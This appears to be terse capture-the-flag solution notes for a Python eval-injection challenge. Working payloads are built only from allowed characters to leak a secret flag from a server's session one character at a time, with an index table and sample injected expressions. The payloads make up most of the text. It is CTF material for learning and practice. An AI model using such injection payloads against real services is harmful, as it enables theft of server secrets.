ping_handler114514load_flag_handler114514fib_handler1145141
session[args[0]]114514logsession[args[0]][100]114514logsession[args[0]][args[0][0]]114514log
## Part 1
# Relevant varaible taken from server code:valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789[]')
# Code for conversion of set to list as list comprehension[c for c in valid_event_chars]
# Exploit variant:[[c][0]for[c]in[valid_event_chars][0]][n] # Note: n is the nth charachter in valid_event_chars set converted to a list (ORDER IS DIFFERENT!)
n c0 11 02 33 24 55 46 77 68 99 810 A11 C12 B13 E14 D15 G16 F17 I18 H19 K20 J21 M22 L23 O24 N25 Q26 P27 S28 R29 U30 T31 W32 V33 Y34 X35 [36 Z37 ]38 _39 a40 c41 b42 e43 d44 g45 f46 i47 h48 k49 j50 m51 l52 o53 n54 q55 p56 s57 r58 u59 t60 w61 v62 y63 x64 z
## Part 2
# Idiomatic code:# Note: session['log'] is the flagcharacter in session['log'] or fib_handler
# Exploit variant:[args[0]][0]in[session[args[0]]][0][n]or[load_flag_handler][0] # Note: n is the nth character of the flag# Note: [args[0]][0] is a placeholder for the exploit in part 1
## Part 3
# To test for the character 'c' in the flag (should be the first one):
[[c][0]for[c]in[valid_event_chars][0]][x]in[session[args[0]]][0][y]or[fib_handler][0]114514log# x = char in set# y = position in flag
[[c][0]for[c]in[valid_event_chars][0]][40]in[session[args[0]][1]][0][0]or[load_flag_handler][0]114514log[[c][0]for[c]in[valid_event_chars][0]][41]in[session[args[0]][1]][0][0]or[load_flag_handler][0]114514log